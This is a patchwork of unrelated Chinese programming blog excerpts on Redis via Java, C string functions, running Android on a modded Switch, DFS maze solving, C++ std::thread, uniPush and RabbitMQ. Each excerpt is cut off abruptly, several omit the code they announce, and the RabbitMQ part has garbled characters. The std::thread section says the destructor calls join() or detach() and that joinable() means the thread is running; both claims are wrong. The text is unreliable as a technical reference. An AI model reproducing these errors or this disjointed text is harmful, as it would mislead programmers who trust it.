文章目录 🍃前言🌳集合操作🚩sadd 和 smembers🚩srem 和 sismember🚩scard🚩sinter🚩sunion🚩sdiff 🌲有序集合操作🚩zadd 和 zrange🚩zrem 和 zcard🚩zcount🚩zpopmax 和 zpopmin🚩zrank🚩zcore🚩zincrby🚩zinterstore🚩zunionstore ⭕总结 🍃前言 本篇文章重点是,介绍一些Java 操作 Redis 的常见命令的使用。
总体分为以下6个部分进行介绍:
基础操作字符串操作列表操作哈希表操作集合操作有序集合操作 本篇演示以下两种用法:
集合操作有序集合操作 🌳集合操作 准备工作代码如下:
public class SetDemo { public static void main(String[] args) { JedisPool jedisPool = new JedisPool("tcp://127.0.0.1:8888"); try (Jedis jedis = jedisPool.getResource()) { //清空数据库 jedis.flushAll(); //测试代码如下 //testSaddAndSmembers(jedis); //testSremAndSismember(jedis); //testScard(jedis); //testSinter(jedis); //testSunion(jedis); //testSdiff(jedis); } } } 这里博主只展示如何使用 Java 操作完成这些命令操作,如果有小伙伴对这部分命令作用不了解,可以参考博主写的【Redis】 关于 Redis 集合类型
🚩sadd 和 smembers sadd:将⼀个或者多个元素添加到 set 中。注意,重复的元素⽆法添加到 set 中。smembers:获取⼀个 set 中的所有元素,注意,元素间的顺序是⽆序的。 测试代码如下:
Hi~!这里是奋斗的小羊,很荣幸各位能阅读我的文章,诚请评论指点,关注+收藏,欢迎欢迎~~ 💥个人主页:小羊在奋斗
💥所属专栏:C语言 本系列文章为个人学习笔记,在这里撰写成文一为巩固知识,二为同样是初学者的学友展示一些我的学习过程及心得。文笔、排版拙劣,望见谅。 1、字符分类函数
2、字符转换函数
3、strlen 的使用和模拟实现
4、strcpy 的使用和模拟实现
5、strcat 的使用和模拟实现
1、字符分类函数 C语言中有一些专门作字符分类的函数,使用这些函数需要包含头文件 ctype.h 。
isalnum
检查一个字符是否是字母或数字
(函数) isalpha
检查一个字符是否是字母
(函数) islower
检查一个字符是否是小写字母
(函数) isupper
检查一个字符是否是大写字母
(函数) isdigit
检查字符是否为数字
(函数) isxdigit
检查一个字符是否是十六进制的字符
(函数) iscntrl
检查一个字符是否是控制字符
(函数) isgraph
检查一个字符是否是图形字符
(函数) isspace
检查一个字符是否是空白字符
(函数) isblank
(C99)
检查一个字符是否是空格字符
(函数) isprint
检查一个字符是否是可打印字符
(函数) ispunct
检查一个字符是否是标点字符 更多详细内容请点击跳转阅读 —> C 标准库头文件 - cppreference.com 这些函数的使用方法、返回值等基本是一致的,这里就以 islower 函数为例,写一个将字符串中非大写的字母转化为大写字母的示例。
2、字符转换函数 C语言中有两个实现大小写转换的函数,tolower(将大写字母转小写) 和 toupper(将小写字母转大写)。
那既然有了这两个函数,上面将字符串中的小写字母转换为大写字母的代码就可以优化一下了。
3、strlen 的使用和模拟实现 3.1 strlen 的返回值 strlen 函数我们已经非常的熟悉,之前也介绍了两种模拟 strlen 函数的方法,这里再关于 strlen 的使用做一些补充,同时再介绍另一种 strlen 的模拟实现方法。
很多朋友手上已经拥有了完成硬破的 Switch ,但又不甘心仅仅使用 Switch 本身的地平线系统,Switch 刷安卓 (Android 11) 会是一个好的选择,虽然 Switch 的 CPU 性能拉跨,但和桌面平台同一设计思路的TegraX1 GPU 可谓是先于时代:解码性能优秀,串流延迟极低。并且 Switch 内部集成了散热风扇,长时间使用也不会有发热。
之前的安卓10 (Android 10) 只支持使用注入器软破的 NS ,随着 SwitchRoot 项目的更新,最新的 Android 11 已经可以支持所有Switch版本,这是SwitchRoot项目的官网地址: switchroot
Switch 刷安卓开始工作前需要准备的设备:一台已经完成硬件破解的 Switch (需要大气层固件),一台电脑,一张 TF 卡(如果仅用于安装安卓系统,最低 32 G 即可,如果想安装大气层双系统,至少需要64 G ,256 G 及以上最佳); Switch 刷安卓软件部分需要下载:大气层整合包,来自DeepSea ( 当然你也可以下载你喜欢的 ) :Releases · Team-Neptune/DeepSea (github.com) SwitchRoot 项目的 Android 11 文件 :index - powered by h5ai v0.30.0 (https://larsjung.de/h5ai/) (这里需要注意 TV 版本和 Tab 版本 ,如果作为机顶盒使用可以下载 TV 版本,否则建议下载 Tab 版本,并且TV版本的激活离不开魔法上网环境) 后续操作以及固件下载,可跳转原文查看 Switch刷安卓11
目录
一、情景导入 二、问题描述
三、解决思路 一、情景导入 今天我们来学习一下DFS-深度优先探索的经典问题---DFS解决走迷宫的问题,希望我们能在解决问题的过程中去理解DFS算法。
那么什么是DFS?
通俗点说从一个顶点开始,沿着一条路径一直搜索到该路径的尽头(即无法再搜索下去),然后回溯到上一个顶点,继续搜索下一条路径,直到所有路径都被遍历完,其实也就是一种递归加回溯的思想。
那么这就是是DFS的伪代码
那么我们可以清楚的看到DFS的设计步骤包括
确定该题目的状态(包括边界)
找到状态转移方式
找到问题的出口,计数或者某个状态
设计搜索
二、问题描述 下面我们通过一个例题来学习一下DFS在走迷宫问题中的经典
处于起点(1,1)的小明想去寻找二维迷宫中处于终点(p,q)的小红,二维迷宫中有许多的障碍物,请你设计一种算法,使得小明可以绕过这些障碍物最终找到小红,并且最后输出小明走最少的步数;
现在输入要求如下:
第一行输入n*m大小的二维迷宫大小;
第二行输入小红的终点坐标;
第三行输入二维迷宫的地图;(用0表示可以通行,1表示不能通行)
三、解决思路 这类题很明显可以用上我们的DFS去解决,我们去遍历小明走过路径的所有选择,将错误的路径回溯,直到找到正确的路径为止。
我们先来准备工作:
tips:使用全局变量在许多问题中会很方便,因为它的生存周期长,不用在主函数传入所写的DFS()中
解释一下:
1.#include<bits/stdc++.h>---c++的万能头文件,相当于一个很大的集合,不过用的时候得注意,其中包含的标识符可能会与你定义的变量名冲突。
2.using namespace std----它告诉编译器你想要在当前的作用域(通常是源文件或函数)中使用std(标准)命名空间中的名称,而不需要每次都加上std::前缀。
3.方向数组是为了让小明在面临每一次选择时能上下左右去考虑
主函数:
解释一下:
1.在C++中,我们经常使用标准库中的cout与cin对象来输出\输入信息到控制台,其实可以理解为printf()与scanf(),不过可以使你的输入输出更加简洁
DFS()算法:
过程分析:
1.DFS()函数接收三个形参,前两个是小明的当前坐标x,y,后一个是小明当前所走的步数,因为小明的起始坐标固定在(1,1),所以我们将book这个用来记录小明走过的路径的二维数组的起点也设置为1,防止小明在选择时走回原路。
2.if()的dp判断是每一次小明递归的首先检查条件,检查小明的坐标当前是否满足终点坐标(p,q),这是每一次递归的最优先,不能将它移位
3.临时变量tx,ty的生存周期就在DFS中,其主要作用是通过方向数组,赋予小明下一步是向左,还是向右,向上还是向下,因为方向数组用for()循环推动,所以在当前step中不会重复
4.check()条件就是if()中的边界判断,判断tx、ty是否越界,如果越界就不执行下面的语句,从而重新执行方向数组的for()语句,从而选择另一个不满足check(),也就是我们期望的下一步去探寻终点坐标
5.book数组理解:book 数组用于标记在深度优先搜索(DFS)过程中哪些格子已经被访问过。这种机制对于防止DFS重复访问相同的格子以及进行“回溯”至关重要它包括:
访问格子:
当DFS函数dfs(int x, int y, int step)访问一个格子(x, y)时,它首先会检查book[x][y]是否为0。如果是,则标记该格子为已访问(book[x][y] = 1),然后递归地探索从该格子出发的所有可能路径。 递归探索:
在递归探索过程中,DFS会尝试所有四个方向(上、下、左、右)。对于每个方向,它都会计算新的坐标(tx, ty),并检查这些坐标是否有效(即没有越界且该格子未被访问过,并且该格子在迷宫中是可通行的,即ans[tx][ty] == 0)。如果满足这些条件,DFS会再次调用自身,继续探索从(tx, ty)出发的路径。 回溯:
当从(tx, ty)出发的所有可能路径都已经被探索过后(即所有四个方向都已经尝试过),DFS会返回到(x, y)。此时,为了避免在下一次从(x, y)出发时再次探索(tx, ty),需要将(tx, ty)标记为未访问(book[tx][ty] = 0)。这就是所谓的“回溯”。通过将已访问的格子标记为未访问,DFS可以确保在下一次从(x, y)出发时能够探索其他未访问的格子 最后的答案如下:
阅读导航 引言一、thread类的简单介绍二、thread类的用法1. 创建线程2. 使用 Lambda 表达式3. 传递参数给线程4. 线程的 join 和 detach5. 检查线程是否可 join6. 线程的 ID7. 线程的移动语义8. 线程的析构🚨 注意事项 三、线程函数参数温馨提示 引言 C++ thread线程库是C++11标准引入的一个强大工具,它提供了一种便捷的方式来创建和管理线程,使得并行编程变得更加容易和高效。这个库支持线程的创建、同步、互斥以及线程局部存储等功能。通过使用std::thread类,开发者可以轻松地创建新的线程来执行任务,并使用join()方法来等待线程完成。此外,线程库还包括了std::mutex和std::lock_guard等同步原语,以帮助管理线程间的资源访问,防止数据竞争和死锁。线程局部存储std::thread::id和thread_local关键字则允许线程拥有自己的局部数据,这在多线程环境中非常有用。总的来说,C++ thread线程库为C++开发者提供了一个功能全面、易于使用的多线程编程解决方案。让我们一起开始这段关于thread线程库的学习之旅吧。
一、thread类的简单介绍 std::thread 类是C++11标准库中的一个核心组件,用于创建和管理独立的线程。它允许开发者通过传递一个函数或可调用对象来初始化线程,执行并行任务。线程对象的生命周期控制着线程的执行,而通过join()和detach()方法,可以控制线程的同步和分离。此外,std::thread还提供了线程ID和状态检查功能,帮助开发者进行线程管理和异常处理,确保程序的稳定性和效率。
🚨注意:要使用线程库中的线程,必须包含<thread>头文件。线程类官方介绍文档
下面这个表格包含了 std::thread 类的构造函数、赋值运算符、比较运算符以及一些用于线程管理的成员函数。这些函数提供了创建、管理、比较和销毁线程的能力.
函数名功能描述id get_id()返回线程的唯一标识符。bool joinable()检查线程是否可 join,即是否还在运行。void join()等待线程结束执行。void detach()将线程与 std::thread 对象分离,使其在后台独立运行。void swap(std::thread& other)与另一个 std::thread 对象交换线程。thread::native_handle_type native_handle()返回线程的原生句柄,用于操作系统特定的线程操作。bool operator==(const thread& other) const比较两个线程是否相同。bool operator!=(const thread& other) const比较两个线程是否不同。thread() noexcept默认构造函数,创建一个未关联线程的 std::thread 对象。thread(nullptr_t) noexcept构造一个未关联线程的 std::thread 对象。explicit thread(Callable&& func, Args&&… args)构造函数,创建一个线程并启动它来执行给定的可调用对象和参数。thread(thread&& other) noexcept移动构造函数,获取另一个 std::thread 对象的所有权。thread& operator=(thread&& other) noexcept移动赋值运算符,获取另一个 std::thread 对象的所有权。~thread()析构函数,如果线程可 join,则会调用 join(),否则调用 detach()。 二、thread类的用法 std::thread 类是 C++ 标准库中用于线程创建和管理的类。以下是 std::thread 类的一些关键用法和示例:
我发现了一个更好用的,三步搞定在线推送。http://t.csdnimg.cn/YSTYt unipush 在线离线示例
在DCLOUD开发者中心里面创建unipush的应用 如果遇到选择Android 包名后没有自动生成Android 应用签名的话,就是下图这样的。
这个情况多半就是通过直接创建云端证书造成的,没有编辑应用信息
没有云端证书的看这里
在我的应用,找到需要unipush的应用,点击编辑,然后把云端证书里面的内容填进去就好了
云服务空间,直接按照操作搞吧,这个不是我搞得。关联好后然后点击开通
在hbuilder里面找到项目,鼠标右键点击项目名称,创建云函数 这一步可以看官方文档,挺详细的。一定要好好写这一步,然后后端请求接口的时候才会有回调
添加push模块,设置targetSdkersion(targetSdkersion过高有些手机运行不了) 找到刚刚添加的push模块,设置云函数(下面是我的代码截图,上面是官方截图,所以文件名不一样,但是内容都是一样的)
'use strict'; const uniPush = uniCloud.getPushManager({ appId: "__UNI__A4C6D3499" }) exports.main = async (event) => { let obj = JSON.parse(event.body) const res = await uniPush.sendMessage({ "push_clientid": obj.cids, // 设备id,支持多个以数组的形式指定多个设备,如["cid-1","cid-2"],数组长度不大于1000 "title": obj.title, // 标题 "content": obj.content, // 内容 "payload": obj.data, // 数据 "force_notification": true, // 服务端推送 需要加这一句 "request_id": obj.request_id //请求唯一标识号,10-32位之间;如果request_id重复,会导致消息丢失 }) return res //一定要return回去 }; 最后上传部署
1、 什么是 rabbitmq
釆用AMQP高级消息队列协议的一种消息队列技术撮大的特点就是消费并不需要 确保提供方存在,实现了服务之间的高度解耦
2、 为什么要使rabbitmq
(1) 在分布式系统下具备异步,削峰,负载均衡等一系列高级功能;
(2) 拥有持久化的机制,进程消息,队列中的信息也可以保存下来。
(3) 实现消费者和生产者之间的解耦。
(4) 对于高并发场景下,利用消息队列可以使得同步访问变为串行访问达到一定 量的限流,利于数据库的操作。
(5) 可以使用消息队列达到异步下单的效果,排队中,后台进行逻辑下单。
3、 使用rabbitmq的场景
(1) 服务间异步通信
(2) 顺序消费
(3) 定时任务
(4) 流量削峰
(5) 解耦(为面向服务的架构(SOA)提供基本的最终一致性实现)
4、 如何确保消息正确地发送至RabbitMQ?如何确保消息接收方消费 了消息?
发送方稣模式
将信道设置成confirm模式(发送方确认模式),则所有在信道上发布的消息都会 被指派一个唯一的ID。
—旦消息被投递到目的队列后,或者消息被写入磁盘后(可持久化的消息),信道 会发送一个确认给生产者(包含消息唯一ID)。
如果RabbitMQ发生内部错误从皿导致消息丢失,会发送一条nack
(notacknowledged,未确认)消息。
发送方确认模式是异步的,生产者应用程序在等待确认的同时,可以继续发送消 息。当确认消息到达生产者应用程序,生产者应用程序的回调方法就会被触发来处 理确认消息。
接收方稣机制
消费者接收每一条消息后都必须进行确认(消息接收和消息确认是两个不同操 作)。只有消费者确认了消息,RabbitMQ才能安全地把消息从队列中删除。
这里并没有用到超时机制,RabbitMQ仅通过Consumer的连接中断来确认是否需 要重新发送消息。也就是说,只要连接不中断,RabbitMQ给了Consumer足够长 的时间来处理消息。保证数据的最终一致性;
以下是常见的源豚清况
(1) 如果消费者接收到消息,在确认之前断开了连接或取消订阅,RabbitMQ会 认为消息没有被分发,然后重新分发给下一个订阅的消费者。(可能存在消息重复 消费的隐患,需要去重)
(2) 如果消费者接收到消息却没有确认消息,连接也未断开,则RabbitMQ认为 该消费者繁忙,将不会给该消费者分发更多的消息。
5 .如何避免消息重复投递或重复消费?
在消息生产时,MQ内部针对每条生产者发送的消息生成一个inner-msg-id,作为 去重的依据(消息投递失败并重侍),避免重复的消息进入队列;在消息消费时, 要求消息体中必须要有一个bizld (对于同一业务全局唯一,如支付ID、订单ID、 帖子ID等)作为去重的依据,避免同一条消息被重复消费。
6、消息基于什么传输?
由于TCP连接的创建和销毁开销较大,且并发数受系统资源限制,会造成性能菰 颈。RabbitMQ使用信道的方式来传输数据。信道是建立在真实的TCP连接内的虚 拟连接,且每条TCP连接上的信道数量没有限制。
7、消息如何分发?